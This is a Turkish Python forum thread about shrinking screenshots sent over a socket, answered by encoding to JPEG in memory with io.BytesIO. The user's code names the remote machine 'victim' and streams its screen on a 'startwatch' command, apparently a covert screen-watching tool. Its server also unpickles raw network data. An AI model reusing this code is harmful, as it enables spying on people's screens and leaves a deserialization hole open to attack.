Socket ile anlık olarak ekran görüntüsü aktarmam gerek. Client te PIL modülünden result = ImageGrab.grab() fonksiyonunu kullanıyorum daha sonra pickle modülünden dumps metodu ile result u yolluyorum. Fakat resmi kaydettiğimizde 200kb ama result unboyutuna baktığımızda 3mb oluyor. result.tobytes() diyip sadece byte verisi yollamak istedim fakat sonuç yine aynı. Geriye tek bir çözüm kalıyor oda client tarafında resmi kaydedip daha sonra resmin verisini dosyadan alıp yollamak fakat buda clientin işlemcisini çok harcıyor. Orta yolu bulacak bir alternatif var mıdır ?
Kodunuzu atar mısınız?
server
soketwatcher = socket()
soketwatcher.bind(("192.168.1.32",111))
soketwatcher.listen(100)
self.victimsoket.sendall(b"startwatch")
victim,_=soketwatcher.accept()
self.state = True
while self.state:
data = victim.recv(50000000)
print(sys.getsizeof(data)) # Çıktısı 3 megabyte e denk geliyor
pickle.loads(data).save("C:/Users/ertu1/Desktop/denemeee.jpg")
sleep(1)
Client
self.watchstate = True
self.soketwatch = socket()
self.soketwatch.connect(self.addresswatch)
while self.watchstate:
im = ImageGrab.grab()
self.soketwatch.sendall(pickle.dumps(im))
sleep(1)
yardım lütfen hala çözemedim
Dosyaya yazınca boyutun küçülmesi büyük ihtimalle JPG formatından kaynaklı, nesnenin resmi sakladığı buffer ile pickle’ın ürettiği bytes
arasında pek bir fark yok:
>>> from PIL import Image, ImageGrab
>>> a = ImageGrab.grab()
>>> type(a.tobytes())
<class 'bytes'>
>>> len(a.tobytes())
6220800
>>> import pickle
>>> len(pickle.dumps(a))
6220874
>>> type(pickle.dumps(a))
<class 'bytes'>
>>>
io.BytesIO
kullanın:
>>> from PIL import Image, ImageGrab
>>> a = ImageGrab.grab()
>>> import io
>>> b = io.BytesIO()
>>> a.save(b, "JPEG")
>>> len(b.getbuffer())
224455
>>>
Evet onlar arasında fark yok fakat resmin yazılmış hali ile tampondaki halleri arasında çok fark var. 18 katı küçülmüştü bendekinde. Resmi kayıt edip diskden verisini okuduğumda 200kb, tampondan nesnenin byteini okuduğumda 3mb idi.
Yine sizde burda yaptığınızda işlemde resmi b ye kayıt ediyorsunuz ama tekrar diskten okumaktan kurtulmuşsunuz. Resmi kayıt etmeden de kurtulmamızın yolu varmıdır acaba ?
Resmin sıkıştırılmasının sebebi JPEG formatına dönüştürülmesi, burada da diske bir şey yazmadan tam olarak bunu yapıyoruz. Diske kaydedilen bir şey yok, her şey bellekte.
Anladım mantığını çok teşekkür ederim
Python’un dosya anlayışı neyin nereye yazıldığına bağlı değil, kullanılan nesnede write
, read
gibi belli metodların bulunması yeterli. io
modülü de bize diski araya katmadan, bellekteki nesneleri dosya gibi kullanmamızı sağlayan hazır sınıflar sunuyor. print
fonksiyonuna file
olarak bile verebiliriz bunları:
>>> import io
>>> out = io.StringIO()
>>> print("Merhaba", file = out)
>>> out
<_io.StringIO object at 0x0000029DA53A13A0>
>>> out.getvalue()
'Merhaba\n'
>>> out.tell()
8
>>> out.seek(0)
0
>>> out.read()
'Merhaba\n'
>>>
Bende tam io dökümantasyonuna bakıyordum 3 çeşit io tipi gördüm. Bu ikisini anladım fakat 3. sü nedir tam olarak ? raw io diye bahsedilen şey sanırım.
Unbuffered byte stream’larına deniliyormuş. Basit özellikler sağlıyor, programcının kullanmasından çok diğer sınıfların miras alması için var.
Hocam guido van rossum u duymasam pythonu siz yazdınız sanıcam